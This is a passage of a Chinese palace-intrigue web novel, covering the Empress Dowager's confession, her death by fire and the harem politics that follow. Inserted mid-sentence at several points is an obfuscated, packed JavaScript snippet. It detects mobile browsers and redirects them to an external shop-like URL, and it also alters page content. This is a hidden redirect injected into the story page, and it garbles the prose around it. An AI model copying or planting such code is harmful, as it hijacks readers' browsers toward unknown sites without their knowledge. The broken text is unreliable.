“砰砰砰!”所有火石在快要落地时爆开,无以计数的铁砂四散开来,如利剑一般弹射入墙体、梁柱、人身。当即有数人捂着鲜血淋漓的脑袋惨叫着翻到在地,炸开的火星点燃了干草、窗帘,接着引燃了雕琢精美的廊柱、门窗。 从未见过如此怪异武器的人被吓得魂飞魄散,慌不择路,四散奔逃。 宫墙外鸦雀无声,所有人都被火石的威力震撼到了。 猎宫内硝烟弥漫,爆炸声此起彼伏,精美绝伦的猎宫瞬间只剩下残垣断壁。无论是正在打扫战场的士兵、相互扶持的伤员、心思各异的官员、还是处于观战中心的皇帝、皇后等人,都被这威力强大的武器所震撼。 李谨焕心若擂鼓,脸上露出三分狂热。虞庆侯进长安当日,在宫中与父皇的密谈,绝对不止交出了百炼钢的锻造法! 这种东西比普通的火石要厉害的多!造器司的人还真是一点风声都没露出来。 若是娶了章麓…… 不!李谨焕摇头,且不说陛下绝对不会允许程家与章家联合,就算父皇同意了,他也无法驾驭章麓这样的女子。 一个能将柔美与刚毅集于一身的奇女子。 他的三皇兄当真是捡到了宝。 太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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泰安帝只轻轻摆手,没有掀帘进去,而是停在外面听着账内传来的尖锐叫骂声。 “都是你这个黑了心肝的毒妇!害死了相公!如果不是你,我与相公还能继续享着荣华富贵!我的林儿还有大好的前程!” 是卫王妃的声音! 她的话音之后,紧接着一声叹息,道:“裴氏,当年哀家做主聘娶你的时候,便说过。幺儿也就三分胆量,若是你能立起来,便有无上的荣华富贵,可你是如何做的?天天撺掇他去谋求一些蝇头小利,惯的他只见眼下不看未来!若非如此,如今这皇帝,必是幺儿来做!” 卫王妃惨然一笑,恨声道:“太后啊太后,我自认自己已然是贪恋权势,目光短浅之人,可如今我才知道,你竟更甚于我!自陛下起义以来,我便劝你别惦记那顶天的位置!只要能得一方之王,在这乱世便已然可以坐享清福了!然后安安生生的过日子,后代自由他们自己去拼搏!偏你就是不肯善罢甘休!非要撺掇他去争去夺!要他去领那劳什子禁卫统领的差事!那是他做得来的吗?” 她的发髻因着癫狂而散乱着,头上的珠钗也散落一地,她指着太后厉声控诉:“相公不肯,你又放任靖国公去挑唆林儿!可怜我的林儿,生生被你害了性命!要不是你贪得无厌,我的林儿就不会死!他就算没有什么出息,也可凭着身份娶一院子的娇妻美妾,日日酒池肉林奢靡度日!都是你,都是你害死了他!” “不是我让靖国公去的。” “不是你是谁!东郡那么大的生意,崔家掺了三成!若不是你让相公也把银子搭进去,还利用他的封地存货,相公又怎么会被靖国公抓住把柄要挟!”卫王妃的情绪更加激动:“而我的林儿就没接触过外人!除了邓州就是长安!哪儿都没去过!如果不是因为你!我们家何至于此!” 泰安帝闭了闭眼,轮椅重新动了起来。木轮压过地面的声音惊动了里面的人,被气得上气不接下气,却还勉强维持住气定神闲姿态的太后,见到来人顿时卡主了。卫王妃整个人都在打颤,她儿子已死,女儿又是个白眼狼,方才在营帐竟亲手弑父,简直恶毒! 方才她说了太多不能说的话,泰安帝一定听见了,也不知道自己会不会被囚禁起来。万分的后悔无以复加,她只能尽可能的缩小存在感,远离这个决定她命运的男人。 100. 第 100 章 泰安帝被推着来到茶几前,倒了杯茶水,杯子迟迟不热,显然茶已经冷透了。 他不甚在意,递过去给了太后,道:“喝杯茶顺顺吧。” “不必了。”太后重新捻起佛珠,说道:“今日哀家叫你来,不过是想告诉你。就算有徐太医妙手回春,那药对你的损伤也是长长久久的,你活不过三年。到时候,这江山也不知道会姓什么。” 皇后握着轮椅的手猛的缩紧,她真想问问眼前的女人,为什么一定要置自己的亲儿子于死地! 泰安帝神色复杂的看着生养了自己的母亲,终是问出了自己的疑惑:“我是您的儿子,您为什么如此恨我?” “我的儿子?”太后看着眼前的木雕佛像,大笑道:“你不是我的儿子,只有幺儿才是我的儿子!” “您在说什么胡话?”泰安帝简直不敢相信自己的耳朵,他激动的反问道:“我究竟哪里没有做好,令您如此痛恨与我,甚至都不肯认我!” 太后摇头,道:“事已至此,不如将全部告知与你。” 太后的生父是个农民,但因调配成了一种肥料,让水田亩产翻了一倍有余,被康安帝亲封了蔚县县君,赏赐黄金千两,府邸一座,丝绢布匹百件,奇珍异宝无数,并将蔚县划做了他的封地。 那时候,她也没有想过自己会随父去京城,因为父亲的爵位在蔚县,封地在蔚县,皇帝想让他在蔚县继续为提高水稻产量出力。她便只想着日后,能嫁与县城或者府城的一位读书人,夫妻和美便好。 小时候的日子真的很美好,很美好,明珠翡翠、天丝绸缎,什么都是最好的。每年正月,还能见到皇帝送来的各种赏赐。这样的风光,让她日日都能收到各种请帖,去参加各种诗会宴席。父亲告诉她,女子也应习字读书,知书方能达理,才不会目光短浅被人欺骗。 于是,她不再出门赴宴,日日勤学苦读,写得一手好文章,也吟得风花雪月,偶尔父亲于政事上颇为烦恼,自己也能宽慰一二。 可惜,这样的好日子只到她十四岁。云王叛乱上位,康安帝被杀。她的父亲因为是康安帝亲封的侯爵,被刚登基的大业帝一派陷害入狱,最终被杀。母亲为了保护她,将所有家产变卖,带着她逃去了青州,投奔母家。 也就是在那时,她遇见了被家族流放的,跟随母姓改叫周敬德的靖国公。 “那段时间,是我随母亲逃亡以来,最快活的日子。两个命运相似的人,互相温暖,惺惺相惜。我早就不奢求能嫁给一个读书人,只要能嫁给他,过着柴米油盐酱醋茶的日子便好。可是,老天爷却连这样卑微的愿望,都不肯为我实现。” 也就是在那个时候,她的嫂嫂(清河大长公主)突然跟她提起青州刺史的长子,那天的话她记得一辈子。 “妹妹啊,这可是门顶好的亲事。你瞧,公爹是因种地得了侯爵,那青州刺史的长子也是个喜爱种地的,日后定能与公爹一般出人头地。咱们家的情况你也清楚,公爹出事,全家三代内不得科举。那青州刺史夫人相中了你,这可是泼天的富贵!待你嫁入他们家,你的儿子孙子就还能继续科举入仕,将来就还有望过回从前的富贵日子!” 嫂嫂舌灿如莲,可她心里却清楚,嫂嫂不过是想利用她打通青州刺史的关系,好方便娘家铺子能在青州做大。到那时,她的母亲,她的哥哥,都要得她照顾,自然就得听她的。到那时,她的嫂嫂便不再需要看母亲娘家人的脸色,过着委曲求全的日子。 说一千道一万,她的未来如何对嫂嫂来说,并不重要,重要的是,她嫁进去,全家都能过得轻松一些。 如若不然,她嫁给被家族流放的周清泉,那么一辈子要么做农民,要么做商户,与家族来说并无益处。 “当时我直接便拒绝了,可谁曾想,却被你姑姑给算计了。”太后的眼中含恨:“她隐瞒身份与我相交,我以真心待她,事事都说与她听,可她做了什么?她看上了张敬德的家族,看上了他背后的身份,看上了他的容貌,为了能嫁给他,她竟给我下药!让我与她哥哥成就好事,被迫嫁了过去!而她转头就与周清泉诬告我移情悲恋!四处造谣我给她哥哥下药,行事不检,生生钻了空子!” “可父亲对你不好吗?在乡下的那段日子,父亲处处都护着你,你要什么都给,未曾苛待过你啊!”泰安帝不解的问道。 太后就像看傻瓜一样看着泰安帝,笑到:“未曾苛待?你可真敢说啊!当他强迫我的时候,对我就已是苛待!” 她指着安静的皇后说到:“你们男人都一个德行!当年,你求我去向马家提亲之时,还曾许诺过一生一世一双人,可你做到了吗!你做不到!在权势面前,什么感情都是放屁!你跟你那个爹一样!一样的虚伪!一样的做作!一样的令人恶心!” 从她被迫嫁入李家,成为青州刺史家的大少爷夫人之时,便咬牙牢记着,她绝不能平白受此委屈!她要让她的母家步步高升,她要让她的哥哥嫂嫂都依仗着自己而活!要看着她们为了些可怜的金银向自己谄媚奉承! 她也确实如愿做到了,或许是感动于夫君待他的无微不至,她决定放下心房,好好与夫君过日子。可她的期待,换来的却是夫君的背叛。 她的夫君养了外室,还与她一同怀了身孕。 “那女子是前任淮南王的小女儿,现任淮南王的亲姐姐。与你父亲是青梅竹马,云王叛乱时,与自己的姐姐一同被抓,后来她姐姐冒死助她逃出来,她逃亡到了青州,她姐姐却不知所踪。” 太后拨弄着佛珠,垂眸道:“她隐姓埋名去做了卖艺不卖身的歌女,被你父亲发现,偷偷赎了出来,养在了外面。她来找我的时候,我恨不得杀了她和她肚子里的孩子!可我不能,你父亲会恨死我的。”那一晚,满室的灯火通明,却始终照不亮她的那颗心。 “不过,就让我如此认命也不可能。我不能报官,否则你父亲也被入狱,我好不容易得来的好日子,绝不能因为一个野女人给搅和了。我仔细询问过大夫,那女人怀上孩子的时间与我相近,我便做出大度模样,让你父亲将她秘密接进府里,好生照顾。你父亲果然很感动,甚至都没怀疑过。就这样,我日日命人给她炖各种补汤补药,看着她的肚子一日日大了起来。” “我买通了公婆派来的大夫,让他说那人肚子里的是双胎,是祥瑞!然后继续给她送更多的补汤补药,看着她肚皮上的血丝越来越多,皮肤被撕裂的越来越狠,心里高兴的好几个晚上都睡不着。我知道,她生不下来的,那孩子太大了。”太后的声音轻飘飘的,宛若地府的幽鬼,无骨似的拂过在场每一个人的耳膜。 果不其然,那孩子实在太大了,无论稳婆如何想方设法,使出了全部看家本领,都无法让孩子顺利出生。直到大夫来了,查看了情况,才为难的说道:“尊夫人怀的不是双胎,是单胎,应是月份小的时候,没有摸准脉门。这么大的肚子,加上妇人心跳过快,确实容易误判。” 故事讲到这里,太后轻笑了一下,双眸明亮得吓人:“当时是我最紧张最兴奋的时刻,紧张于怕你父亲察觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你最好动作快点,那些世家可都不是吃素的。”太后拨弄玩最后一根蜡烛,回到最开始跪坐着的地方,将一根红线攥在了手里:“若是当今皇帝乃前朝皇室遗孤的事情被宣扬出去,以百姓对前朝的恨意,你这皇位怕是再也坐不稳了。” “娘!”泰安帝面色悲痛,“难不成您以往对孩儿的那些关照,都是假的吗?” 太后没有回答,她只是说了一句:“良妃所出并非你亲生,而是卫王的孩子。在你建功立业的日日夜夜里,或许只有皇后对你是真心的吧。” 她双手合十,轻念一声‘阿弥陀佛’:“良妃所出的去留由你自己决定,李氏的子孙只要不是死在我的手上,也不算是违反了当年对你父亲的承诺,不算愧对李氏的列祖列宗。” 说罢,她猛的一拉手中红线,屋内所有的大小烛台轰然倒塌,火舌瞬间点燃了所有的围帐,也燎到了太后的衣角。 “陛下!”刘贤突然冲了进来,一把攥住泰安帝的轮椅,将人从火场中带了出来。 三人站在太后帐外,看着冲天的火光,那火光之中,似有一人在迎风飞舞。 “儿啊!你记住!我今生只后悔一件事,就是没有亲手要了你父亲的命!当年,我就该拼着名声受损,惹人唾骂,也该在他迫害我那日,一簪子扎进他的脖子里!就像章麓对待崔敏先那般,若是我能像章麓那般……”未尽的话语被火舌完全燃烧殆尽,人影消散于火光之中,数不清的飞灰冲向天空,冲向广袤无尽的大地。 101. 第 101 章 太后与刺客同归于尽,英勇就义的事情传遍了猎宫,也传到了长安。 无数百姓赞叹太后的英勇,自觉为其摘下了家中鲜艳的颜色,在府门前挂上了白幡。悉知前后的朝臣、宗亲们都睁一只眼闭一只眼,默认了这件事。毕竟,比起一个造反的太后,有一个‘为国捐躯’的太后,更能稳固朝堂,稳住李氏的名声。 西洲侯得知猎宫的消息后,静坐了很久,最终将人马都撤了回去。 “我们得为自己筹谋了。” 他走到后院,见程卫昭没有换下染血的盔甲,手持长刀在院中舞得虎虎生风,便合了院门。 “你来做甚?”程卫昭瞥了他一眼,没有停下手中的动作。 西洲侯道:“太后残党已经剿灭,前朝后宫都将迎来大换血,我们得为自己打算,此番你平叛有功,陛下定然会嘉奖于你。” 程卫昭收刀,看着他父亲冷笑:“是为你自己,别搭上我。” “你怎么就是说不通!”西洲侯恼怒道,“我做的一切都是为了你好!” “为了我好就杀了我娘是吗?” “如果你娘不死,你又怎么会有今日的成就!你的一切都是靠着程氏荫蔽,靠的我!”西洲侯咆哮道。 程卫昭惨笑一声:“我宁愿不享受这样的荫蔽,或许我不会爬到金吾卫中郎将的位置,但至少,我有个完整的家,我娘不会被我爹亲手杀死!” “你——” 程卫昭快步走到西洲侯身边,一脚踹开院门,做了个请的手势:“道不同不相为谋,滚吧。” 西洲侯气得七窍生烟,手抖的指着他半晌也没说出一个字,最后气哼哼的离开了院子。 * 章麓得到消息的时候,刚入了夜。正光着身子坐在床上,任由晴放为她擦涂伤口,而她的母亲则是坐在一旁哭个不停。 从小到大,除了哥哥战死,她还从未见母亲如此伤心过。 待章麓换好素衣,被内侍带着去往灵堂,在皇后的指示下跪在了淳王的身侧哭灵。她摸了摸母亲刚刚趁着拉手时塞过来的手帕,轻轻按在了眼周,不需要她酝酿感情,眼泪就如同奔赴到入海口的江河,奔腾而下,止都止不住。 “……”汰,这么辣的嘛! 这让跪在最前面,半天都没留下一滴眼泪的三位皇子都忍不住侧目。 后半夜的时候,章麓就有些熬不住,伤口在发烫,她已经很久没受过这么重的伤了,这两年养尊处优,着实让她娇气了不少。 好在,不单单她熬不住,不少朝臣也熬不住。哭灵的声音在减小,直到子时,整个灵堂都变得悄无声息。 淳王发现章麓的不对劲,他悄悄带着蒲团往章麓身边挪了挪。跪在他身后的李谨渊和李谨焕跳着眼皮看着自家兄长,看着他如何贴在章麓身侧,如何让对方依靠在了自己身上。 李谨渊轻啧一声,揉了揉酸涩到极致的眼睛,纯粹靠断臂的疼痛支撑着自己不睡过去。而李谨焕更是不停的睁大眼睛,呼吸吐气,生怕不小心睡过去,被有心人抓住把柄不放。不过相比被弹劾,他更怕身受重伤的母亲觉得他不争气,再发脾气。 有些年纪大的肱股之臣被龙鳞卫带走休息,于是,宗亲和门外的官员中间就形成了一个空旷地带,直到鸡鸣时分,身着白底龙纹袍的皇帝,才带着一众老臣重新填满了空着的位置。 淳王扶着章麓站起身,低眉顺目的随着泰安帝三跪九叩,对太后的棺椁进行大拜。 大拜结束后,章麓完全靠着毅力回到了营帐,她完全没听清李鹤霖说了什么,只隐约捕捉到了零星的两句话,似乎是要去猎宫清扫什么……什么来着? 也许是疲惫到极致,章麓这一觉睡得非常沉。待她醒来时,已然是第二天的下午。身上的衣服已经被换过,伤口的地方也重新换了药。 哎,重伤还要跪灵,真是不干人事!章麓在心里默默吐槽。 揉了揉混沌得脑袋,章麓走到茶桌前给自己倒了一杯茶,凉凉的却极为醒神。 帐外的晴野听见动静,打帘走了进来,道:“姑娘,热水一直架在柴火上温着,可需现在洗漱?” 章麓坐在茶桌旁,诧异的问道:“你回来了?身体可好?听贤王妃说你受了重伤昏迷不醒!你……” 晴野大大咧咧的握住自家姑娘的手,笑到:“姑娘别担心,奴婢好着呢!” 这笑容,让一直压抑着自己的章麓,突然哭了出来。她紧紧抱住晴野,满含歉意的哭到:“对不起!我不该那么冲动让你和双竹去查靖国公的!我真的太后悔了!你们要是回不来,我都不知道该怎么办!我已经失去双菊了,怎么能再把你们弄丢了啊!” 晴野的嗓子发紧,一时半刻竟一句话都说不出,只能用力回抱着自家姑娘,无声的流泪。她当时真的以为自己回不来了,靖国公在奉天的府邸里养了一百名死士,她和双竹真的是拼了命,经过九死一生才逃回来。 若不是老天爷开眼,当时秦国夫人正压着贤王世孙在惠济渠里练闭气,他们真的不知道还有没有命再见到姑娘! 守在帐外的双竹低笑了一声,感觉到眼睛有些疼,赶忙抬起头看着天空。 两人哭了好些时候,章麓才红着眼,一抽一抽的问道:“晴放呢?” 晴野道:“昨日龙鳞卫的刘贤大人带着奴婢和双竹来找了侯爷和夫人,之后夫人便将姐姐带走了,并命我这几日都在姑娘身前伺候,直到回到京城为止。” 章麓微微蹙眉,追问到:“母亲现在何处?” “夫人今日一早便同秦国夫人一道回长安了。” “就她们二人?” 晴野摇头:“还有其他几位官夫人,张锦大人也在队伍里,还有几名太医和重伤的靖国公。” 章麓隐隐察觉到事情的不对劲,她揉了揉红肿的双眼,道:“算了,还是先洗漱吧。” 晴野笑着应是。 * 陛下营帐内,泰安帝披着外袍与李鹤霖对坐,两人之间摆着一盘没有棋子的棋盘。 泰安帝道:“霖儿,朕现在说不了太多话,也就不跟你兜圈子了。卫王意图谋反,当全府幽禁宁古塔,下人全数流放。但雨陶朕得放她回去。” “父皇查到了什么?”李鹤霖问。 泰安帝咳了两声,捂着嘴幽幽的望着棋盘:“张锦的新税法推行的很不顺利,但从地方税务司的运转好坏中,却能发现不少东西。就比如莱州、青州至淮南一带,明明靠着水运商业发达,但商税却年年都收不上来,税务司形同虚设。” “父皇怀疑淮南王?” “朕怀疑的人很多,至少整个两江都不干净。” “父皇想要儿臣做什么?” 泰安帝:“去登州。东郡的事已经有眉目,三司六部理清了所有的账目、口供、案卷,就算减掉章麓那两个侍从从奉天和泾源带回来的那部分,也还有巨大的缺口。这部分缺口十有八九都在吐谷浑。” 李鹤霖:“莱青是雨陶郡主的封地,父皇是怀疑她?” “不是怀疑,是确信,所以朕才要放她一马,让她回去,去布局,去想尽办法绝地反击。这么大的生意网,单抓几个头目是没有用的,朕要把这条线彻底断掉,才好向吐谷浑发难。” 李鹤霖望着脸色发白的泰安帝:“父皇要攻打吐谷浑?” “朕不打他们,他们也要打朕,既如此,索性直接征西,一路打到大食国去。”泰安帝猛咳了几声,“但在此之前,莱青的祸患必须铲除。” * 按规矩,需要哭灵三日。头一日所有人不能幸免,而昨日章麓和李谨渊都被免去了跪灵。今日是最后一日,即便已经过了大半日,但也要摆个样子,否则有头无尾,好说不好听。 停灵三日后,泰安帝宣布扶棺回长安。 天还没亮,章麓便昏昏沉沉的被晴野叫醒。待她穿戴整齐后,来到整装待发的车架处,才看见李鹤霖站着车旁,似乎是在等自己。 章麓一愣,两步跑了过去,问道:“你怎么来了?不是还要参加起灵仪式?” 章麓身上有不少刀伤,虞庆侯特别关照太医,让其将女儿的伤势说的严重些,好免去参加起灵仪式,再受辛苦。而泰安帝也表示理解,大手一挥便下了道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但也许是虚弱的泰安帝也在坚持,一路上竟无人敢提出异议,就这样沉默的一路回了长安。 王相权早就领着长安城的禁军和朝臣们迎出城外,远远看见扶灵的队伍便跪了下去。 按照旧历,太后驾崩不可能只停灵三天就结束,还要在皇宫内停灵七七四十九天,为其诵经祈福,才能安葬入早已修好的皇陵之中。 如同当年洛阳镇国昭公主一般。 虞庆侯还要跟随泰安帝入宫,处理余下的事宜,章麓便自己回了虞庆侯府。 刚踏进自己的院子,她就看见了正在洒扫的晴放。原本混沌无神的双眸登时亮了起来,她惊喜到:“你什么时候回来的!” 晴放道:“辰时初方到,你们这一路辛苦了,快些休息。” 章麓扫了扫四周,问道:“其他人呢?怎么是你在洒扫?” 晴放低声道:“夫人处置了府中的丫头小厮,不少都直接发买了,今晨宫中侍卫前来拿人,羁押了不少丫头小厮,如今府上几乎都空了。这屋子好几日没住人,可得好好洒扫一番,否则太委屈了咱们姑娘。床铺都换过一轮了,帐幔都是新换上的,姑娘快去休息。” 晴野:“那奴婢去给您烧水洗漱。” 晴野性子活泼,话音还没落就跑了出去,章麓都来不及喊住她。 她看向晴放,问到:“可是查出是谁安插进来的探子?” 晴放摇头道:“奴婢不知道,夫人不说,但夫人很早就掌握了他们的底细和动向,反向利用了他们。其实,不少官员府中皆有这样的暗桩,今日牙人可是忙的脚后跟打头,几乎各个府院都在卖下人。这些人在长安已经有许多年,朝代更迭势力交叉复杂,恐怕很难查得出。” 每个官员的府邸皆有暗桩?章麓吃惊不已,到底是谁有如此本事? 这番渗透得多少年才能做到啊? 接下来的几天,朝中都在忙活太后的身后事,虞庆侯几日都没有回来,淳王也未曾来看过她,而章麓也听母亲的话,大门不出二门不迈的在府中养病。 [1]《典论》 102. 第 102 章 日子过得飞快,直到太后下葬三日,街上才算重新热闹了起来。 此番已经彻底入秋,没了知了吵嚷个不停,院子里反而清净了许多。各府将余下的冰块分发下去,度过了秋老虎最后发威的几天。 章麓养伤的这一个多月,既没见到李鹤霖也没见到父亲,有时候去母亲房中请安,都会被告知不在,但去了何处又无人肯说,甚是神秘。好在她也并非无理取闹之人,作为章家子女,基础的敏锐度还是有的,这些时日风声鹤唳草木皆兵,只怕与猎宫宫变脱不开干系。自己如今身负重伤,无法帮忙,也就不要添乱的好。 好在修养的时候收到了兄长的书信,他已带着高丽和鲜卑的投降文书在来京的路上,这让她高兴不已。 晴野将温热的汗巾递给章麓,道:“七公主来了,正在花厅歇息。” “嗯?”章麓随意的用汗巾在脸上抹了一把,问:“今个儿怎么这么早就来了?” 太后下葬的第二日,七公主就跑来跟她抱怨,左一个崔昭容厚脸皮,右一个德婕妤不要脸。宫里的妃嫔全被她拎出来骂了个遍,如此两三日下来,章麓已经把泰安帝所有后妃的身家背景和受宠程度,有无子女给摸了个一清二楚。 估计泰安帝都没她认知清晰,也不知道七公主平日里在宫里是不是什么事都不干,心思全用在八卦上了,怪不得能与章引玉玩儿得来。 章麓迅速饮下一杯温茶,匆匆换上素衣,简单挽了个发髻簪了一只珠花钗,就立刻赶往花厅去找七公主。 花厅那不止有七公主,还有多日未见的章引玉。 细问之下才知道,原来因着太后薨,章引玉与王临之的婚事也被推后了,具体日子还不知道,需要重新测算。今日一早,章引玉进宫给父亲送换洗的衣物,正好被气冲冲的七公主抓了个正着,就一同来了。 七公主的脸色憔悴的不成样子,一点也找不出初见时,那明媚阳光的模样,这让章麓很是吃惊。前两日虽然言语不忿,但面色看上去还不错,今日这是怎么了? 章麓一问,七公主就如同被挤爆了的木匣子,一开锁就喋喋不休的往外蹦:“阮昭仪那个狐媚子!原本就是个上不得台面的东西,刚入宫的时候谨小慎微,自父亲落罪后,在阿娘和母后面前更是连话都不敢说,如今父皇要分封了,倒是给了她不要脸的机会,呸!” 七公主李明月要强,尤其是在六公主面前,向来都是保持住皇女的风范,一个脏字都不肯漏的,如今倒是毫不顾忌,连着几日说了不少妃嫔,但也都只是抱怨,今日居然连脏字都蹦了出来,可见是真的气急了。 章麓与章引玉对视一眼,两人都从对方眼中看到了茫然,只能小心翼翼的走到七公主身边,一左一右坐在了对方的两侧,轻声问:“阮昭仪可是生了十二皇子那位?” “没错!老十二才五岁,分封也分不到他头上,凑个什么热闹劲,看着就让人心烦。” “分封?”时隔五十多天,章麓重新动起了她灵光的脑袋瓜,想起去猎宫之前,泰安帝给皇子封王,要派去封地的事情,立刻追问到:“可是要将王爷们都派去封地了?” “是啊!还有公主们也有封地,都要被送出去!可恶,我本来想与皇兄临近,这样好互相照应,那个什么阮昭仪偏偏哭到父皇面前,说什么都要襄阳那块地方,生生夹在我和皇兄之间,也不知道安的是什么心!她儿子才五岁,大字还写不全呢,封个什么封!真是有病!” 七公主拉着章麓的手臂,一口气将所有事情都说给她听。 自回宫之后,良妃被赐死,李诗龄已经被贬为庶人逐出长安,而八皇子因年幼,被褫夺了皇家籍册,封了个永王送去了岭南。而作为太后堂侄女的崔昭仪害怕连累到自己,日日往泰安帝跟前凑,今日煲个汤,明日做个点心。可惜泰安帝刚被亲娘下过毒,哪儿还肯吃崔氏送来的东西,甚至连御膳房送来的都不肯吃,日日都是皇后娘娘洗手作羹汤与他。 皇后便给了景贵妃执掌六宫、安抚后妃的权责。 景贵妃与皇后交好,自然不会拂了她的脸面,在有重大决策前,都会先与皇后通气,然后再颁布手谕。 这让瘫痪在床的雍贵妃非常的气不过,但她也知道此刻泰安帝身体虚弱,并不喜欢别人多打搅,且自己现在这幅容貌,又怎么能让皇帝看见?便撺掇一些有子女但一直不得宠的后妃们去给景贵妃找麻烦,其中便有七公主口中的阮昭仪,还有前几日常常提起的德婕妤和崔昭仪。 章麓最看不明白的就是这个崔昭仪,太后身死,崔家和靖国公府被满门抄斩,自己依仗的高楼如摧枯拉朽之势倒塌,她不想着抱紧皇后和景贵妃的大腿,保住自己的小命,非要去做雍贵妃的出头鸟?是嫌自己死得还不够快吗? 除此之外,还有诸多低位嫔妃。根据七公主的阐述,章麓自己的统计,泰安帝自举事以来,一共纳过三十六房妾室。在通州时纳过豪绅之女,在陈州时纳过前来投奔的将军之女和世家之女,在邓州时纳过不少位高权重的朝臣之女。 除了几乎日日都能见到皇帝的皇后,见到泰安帝最多的便是雍贵妃和景贵妃,但因为景贵妃总是以生七公主艰难损伤身体为由拒绝泰安帝,这两年泰安帝倒是没怎么去过景贵妃的宫里,除了良妃那里外,便是偶尔会去一些位分低但家世不高的妃嫔那里,阮昭仪便是其中之一,这也让她顺利怀上了第二个孩子,如今算来也有六个多月了。 七公主的生活从未被这些低位嫔妃影响过,毕竟泰安帝对皇后和三皇子的宠爱是明面上的,再加上一个洛阳定国昭公主,根本无人能撼动皇后的地位。 景贵妃又出身琅琊王氏,还与皇后交好,自是无人敢暗地里去欺负四皇子和七公主。七公主在后宫玩的时候,不管谁见到她都是一副端庄大气,恭良淑德的模样,这几天猝不及防被这些低位嫔妃的另一番嘴脸来了个迎头暴击,当真是狠狠击碎了她以往所有的认知,不发疯都是克制的表现。 “刚开始一个个的老实得紧,装得跟什么似的,结果父皇刚提出分封的事,那一个个的可恶嘴脸全露出来了!” 要说这后宫妃子们也都是奇人,脑子里不知道在想些什么。 从七公主的话里,章麓大概总结了一下,这三十几个人里有聪明人吗?有,但就那一个,最不起眼的惠昭仪。 惠昭仪是泰安帝还在通州做同知时,娶的当地豪绅独女,为的是能让心甘情愿出钱帮他招兵买马。刚成婚不到三个月,因帮泰安帝挡刀没了腹中孩子,甚至从鬼门关走了一趟,差点回不来,今后也无法生育。 泰安帝也没忘恩负义,惠昭仪虽然是昭仪的位份,但得的是妃位的待遇,每年还准她父母入宫探望,这种恩赏可是只有皇后和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232711|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位贵妃有。就连崔家想要见良妃,都得走太后的路子,以见太后为名去看望她,更别提旁支的崔昭仪。 惠昭仪在泰安帝提到分封之事后,就一改常态,日日最早去给皇后请安,见到比自己小很多的景贵妃也是恭恭敬敬,各种夸赞几位皇子公主人中龙凤,更是将淳王夸的天上有地上无。 每次夸完,她都满怀期待的看向坐在下首位的各个低位妃嫔,结果却令她非常失望。 这些低位妃嫔,只有几个人如她所愿的一同夸赞淳王,其他的也不知道是真傻还是假傻,要么装哑巴不做声,要么夸赞安王可堪大任,要么直言康王更像泰安帝,更聪慧云云。 想到这里,章麓真是理解七公主,她听了这些都觉得七窍生烟,更别说一直只想过平静日子的景贵妃母子三人呢。 七公主正源源不断的抱怨着,祁云领着李鹤霖走了进来。 “殿下?”章麓差异。 自从回宫之后,这五十多天都混乱且忙碌,李鹤霖今天才寻出空来看望章麓。 “你的伤如何?” 章麓粲然一笑,道:“都好了,不过有几道比较深的伤口可能会落疤。” 李鹤霖眸光暗淡下来,轻声道:“对不起。” “你为何要道歉?在此之前,我身上的伤不知凡几,再添几处也无甚大碍。” 这句话让李鹤霖更为心疼,他保证到:“你放心,待你完成心愿后,定然不会再让你受这种苦了。” “咳咳咳。”七公主面色通红的打断三皇兄的情话:“我还在这儿呢,能不能顾及一下我的感受!” 李鹤霖无视了她,又关心了几句,才说明此番来意。 回到皇宫后,皇后日夜熬在明德殿陪伴泰安帝,甚至用膳更衣也没离开过明德殿一步。景贵妃替皇后执掌六宫,代为接见各位命妇和宗妇,也替皇后陛下在灵堂跪灵。雍贵妃不想输给景贵妃,但自己又是一身的伤,便命人用担架抬着她,每日跟晨昏定省似的去祠堂磕头。现在伤好些了,就坐着轮椅去,一呆就是一天,时不时哭诉之前太后对她的好。甚至良贵妃去处理后宫事宜的时候,她也跪着,每日只休息一个时辰。 后宫除皇后外,最尊贵的两个女人都如此熬着,其他人自然不敢懈怠,除了在景贵妃面前撒泼打滚讨饶卖好的时间,其他时候都跪在灵堂纹丝不动。 这一下可苦了命妇和宗妇们,有些是牵扯进了宫变之事,虽然不算是同党,但也怕被对家借此拉下马,便想着来表现一番好保全家族,结果四十九天下来,居然没有一人缺席跪灵之事,根本无法显露出自己的诚意。 而与宫变之事无关的人,本以为能像当初洛阳定国昭公主停灵那样,象征性的跪三天就好,没想到宫妃们都这么勤勉,只能含泪向她们看齐,足足跪满了七七四十九天。 内命妇尚且如此,外命妇更是不敢偷懒。 原本太后力压京师,想要趁大家都在猎宫的时候控制皇城,她当时借兵借的大多都是京畿和都畿的府兵,这些人想要把自己摘干净就必须想尽办法走关系,命妇们自然也不敢懈怠,她们想要求救的对象尚且跪着呢,自己怎能离开?便也只能跪着,大家都如此整齐,百姓便觉得是太后人好才入会如此。 一时之间,洛阳城内外都传着太后贤良的美名。 章麓听完,面色复杂。 103. 第 103 章 章麓看向一脸懵的章引玉,问道:“那你我也算是因祸得福?” 